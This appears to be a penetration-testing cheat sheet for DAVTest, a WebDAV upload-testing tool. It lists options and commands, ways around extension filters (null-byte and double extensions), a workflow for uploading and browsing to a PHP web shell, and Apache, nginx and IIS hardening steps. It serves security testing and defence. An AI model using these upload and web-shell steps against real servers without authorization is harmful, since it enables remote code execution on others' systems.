تخطَّ إلى المحتوى

DAVTest

DAVTest is a Perl-based tool that automates the testing of WebDAV-enabled servers to identify upload vulnerabilities, executable file type handling, and directory manipulation capabilities. It methodically tests which file types can be uploaded and executed, making it essential for WebDAV security assessments.

# On Debian/Ubuntu
sudo apt-get install davtest

# From source
git clone https://github.com/Graph-X/davtest.git
cd davtest
chmod +x davtest.pl
./davtest.pl -h
davtest [OPTIONS] -url <target_url>
OptionDescription
-url <URL>Target WebDAV server URL (required)
-directory <dir>Create/use specific directory for tests
-auth <user:pass>Basic HTTP authentication
-moveTest MOVE method capabilities
-copyTest COPY method capabilities
-putTest PUT file upload (default)
-sendfile <file>Upload specific file instead of test files
-cleanupRemove test files after completion
-quietMinimal output
-debugVerbose debug output
-versionDisplay version information
# Basic WebDAV vulnerability scan
davtest -url http://target.com/webdav/

# Test with authentication
davtest -url http://target.com/webdav/ -auth admin:password

# Verbose output for detailed results
davtest -url http://target.com/webdav/ -debug

# Test specific directory
davtest -url http://target.com/webdav/ -directory /test_dir
File TypeExtensionExecutable RiskCommon Usage
Active Server Pages.asp, .aspxHighIIS servers
PHP.php, .php3, .php4, .php5HighLinux servers
Perl Scripts.pl, .cgiHighWeb servers
JSP.jspHighJava servers
Compiled Executables.exe, .comMediumWindows
Shell Scripts.sh, .batHighBash/batch execution
Text/Data.txt, .jpg, .pngLowNon-executable
# Test null-byte bypass (.php%00.txt)
davtest -url http://target.com/webdav/ -sendfile shell.php%00.txt

# Test double extension (.php.jpg)
davtest -url http://target.com/webdav/ -sendfile shell.php.jpg

# Test alternative extensions
davtest -url http://target.com/webdav/ -sendfile shell.php5
# Create directory and test uploads
davtest -url http://target.com/webdav/ -directory /uploads

# Test MKCOL (make collection) capability
davtest -url http://target.com/webdav/
# DAVTest will attempt MKCOL operations automatically
# Test MOVE method for file relocation
davtest -url http://target.com/webdav/ -move

# Test COPY method for file duplication
davtest -url http://target.com/webdav/ -copy

# Combine with upload to test moving files to executable locations
davtest -url http://target.com/webdav/ -move -sendfile webshell.txt
/usr/bin/davtest.pl:
  ========================================
  PROPFIND		SUCCEED
  MKCOL		SUCCEED
  PUT text		SUCCEED
  PUT php		SUCCEED
  PUT jsp		SUCCEED
  PUT exe		FAIL
  PUT aspx		FAIL
ResultMeaningRisk
SUCCEEDOperation allowedHigh vulnerability
FAILOperation blockedLower risk
FORBIDDENExplicitly deniedProtected
TIMEOUTServer not respondingCheck connectivity
# DAVTest creates temporary test files like:
# davtest.txt
# davtest.php
# davtest.jsp
# davtest.aspx
# davtest.cgi
# davtest.html
# Test what WebDAV methods are enabled
davtest -url http://target.com/webdav/
# DAVTest automatically tests common executable extensions
# Results show which can be uploaded and accessed
davtest -url http://target.com/webdav/ -debug
# If .php files succeed, upload a PHP shell
davtest -url http://target.com/webdav/ -sendfile shell.php

# If .txt is allowed but .php blocked, try null-byte trick
davtest -url http://target.com/webdav/ -sendfile shell.php.txt
# Navigate to uploaded file
curl http://target.com/webdav/shell.php

# Or in browser
http://target.com/webdav/shell.php
# IIS often allows ASP/ASPX upload and execution
davtest -url http://target.com/uploads/ -auth domain\user:pass
# Look for SUCCEED on .aspx files
# Apache mod_dav may allow PHP execution
davtest -url http://target.com/dav/
# Test for PHP execution capability
# SharePoint sometimes enables WebDAV for document libraries
davtest -url http://sharepoint.target.com/sites/Documents/
# Check for document upload and execution
DefenseImplementation
Disable WebDAVRemove or disable mod_dav module
Whitelist extensionsOnly allow safe file types (.pdf, .doc, .txt)
Store outside webrootUpload to directory not web-accessible
Disable executionUse .htaccess or web.config to prevent script execution
AuthenticationRequire strong auth on WebDAV endpoints
Validate uploadsCheck MIME types and file signatures
# Disable WebDAV module
sudo a2dismod dav
sudo a2dismod dav_fs
sudo systemctl restart apache2
# Block WebDAV methods
location / {
    limit_except GET POST {
        deny all;
    }
}
# Disable WebDAV in IIS
Remove-WindowsFeature WebDAV-Publishing
# Check if WebDAV is actually enabled
curl -v -X PROPFIND http://target.com/webdav/

# Look for "WebDAV" in response headers
# Verify credentials before running davtest
davtest -url http://target.com/webdav/ -auth user:pass -debug
# Try alternative locations or nested directories
davtest -url http://target.com/webdav/subdir/ -directory /test

# Check for path traversal opportunities
davtest -url http://target.com/webdav/../cgi-bin/
# Use davtest results to guide MSF modules
# exploit/windows/fileformat modules
# exploit/multi/handler for reverse shells
  • Always get authorization before testing WebDAV servers
  • Document all findings in detailed reports
  • Test in isolated lab environments first
  • Run cleanup to remove test files: davtest -url http://target.com/ -cleanup
  • Combine davtest with other tools (curl, nmap WebDAV detection)
  • Test multiple file types systematically
  • Check file access restrictions after upload
  • Verify execution context (system user, privileges)
ToolPurpose
curlManual WebDAV testing with custom methods
nmapDetect WebDAV with http-webdav-scan
Burp SuiteIntercept and manipulate WebDAV requests
niktoWeb server vulnerability scanning
metasploitExploit WebDAV vulnerabilities
  • OWASP WebDAV Security
  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • CVE databases for WebDAV RCE vulnerabilities
  • RFC 4918: HTTP Extensions for Web Distributed Authoring and Versioning